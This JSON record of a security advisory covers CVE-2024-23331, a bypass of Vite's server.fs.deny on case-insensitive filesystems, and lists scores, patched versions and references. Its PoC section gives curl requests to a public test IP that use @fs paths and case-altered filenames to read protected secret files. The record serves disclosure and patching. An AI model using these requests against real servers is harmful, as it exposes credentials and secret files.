{"id":"CVE-2024-23331","aliases":["GHSA-c24v-8rfc-w8vw"],"url":"https://o3.security/vulnerability/CVE-2024-23331","summary":"Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem","details":"### Summary\n[Vite dev server option](https://vitejs.dev/config/server-options.html#server-fs-deny) `server.fs.deny` can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.\n\nThis bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.\n\n### Patches\nFixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17\n\n### Details\nSince `picomatch` defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible. \n\nSee `picomatch`  usage, where `nocase` is defaulted to `false`: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632\n\nBy requesting raw filesystem paths using augmented casing, the matcher derived from `config.server.fs.deny` fails to block access to sensitive files. \n\n### PoC\n**Setup**\n1. Created vanilla Vite project using `npm create vite@latest` on a Standard Azure hosted Windows 10 instance. \n    - `npm run dev -- --host 0.0.0.0`\n    - Publicly accessible for the time being here: http://20.12.242.81:5173/ \n2. Created dummy secret files, e.g. `custom.secret` and `production.pem`\n3. Populated `vite.config.js` with\n```javascript\nexport default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }\n```\n\n**Reproduction**\n1. `curl -s http://20.12.242.81:5173/@fs//`\n    - Descriptive error page reveals absolute filesystem path to project root\n2. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js`\n    - Discoverable configuration file reveals locations of secrets\n3. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT`\n    - Secrets are directly accessible using case-augmented version of filename\n\n**Proof**\n![Screenshot 2024-01-19 022736](https://user-images.githubusercontent.com/907968/298020728-3a8d3c06-fcfd-4009-9182-e842f66a6ea5.png)\n\n### Impact\n**Who**\n- Users with exposed dev servers on environments with case-insensitive filesystems\n\n**What**\n- Files protected by `server.fs.deny` are both discoverable, and accessible","published":"2024-01-19T19:43:17.404Z","modified":"2026-08-12T03:51:35.283342577Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},"epss":{"score":0.00785,"percentile":0.52945,"asOf":"2026-08-23"},"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"npm","name":"vite","fixedVersion":"2.9.17"},{"ecosystem":"npm","name":"vite","fixedVersion":"3.2.8"},{"ecosystem":"npm","name":"vite","fixedVersion":"4.5.2"},{"ecosystem":"npm","name":"vite","fixedVersion":"5.0.12"}],"fix":{"url":"https://github.com/vitejs/vite/commit/91641c4da0a011d4c5352e88fc68389d4e1289a5","label":"vitejs/vite@91641c4"},"references":[{"type":"WEB","url":"https://vitejs.dev/config/server-options.html#server-fs-deny"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/23xxx/CVE-2024-23331.json"},{"type":"ADVISORY","url":"https://github.com/vitejs/vite/security/advisories/GHSA-c24v-8rfc-w8vw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-23331"},{"type":"FIX","url":"https://github.com/vitejs/vite/commit/91641c4da0a011d4c5352e88fc68389d4e1289a5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-34092"},{"type":"WEB","url":"https://github.com/vitejs/vite/commit/0cd769c279724cf27934b1270fbdd45d68217691"},{"type":"WEB","url":"https://github.com/vitejs/vite/commit/a26c87d20f9af306b5ce3ff1648be7fa5146c278"},{"type":"WEB","url":"https://github.com/vitejs/vite/commit/eeec23bbc9d476c54a3a6d36e78455867185a7cb"},{"type":"PACKAGE","url":"https://github.com/vitejs/vite"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:35.283342577Z"}}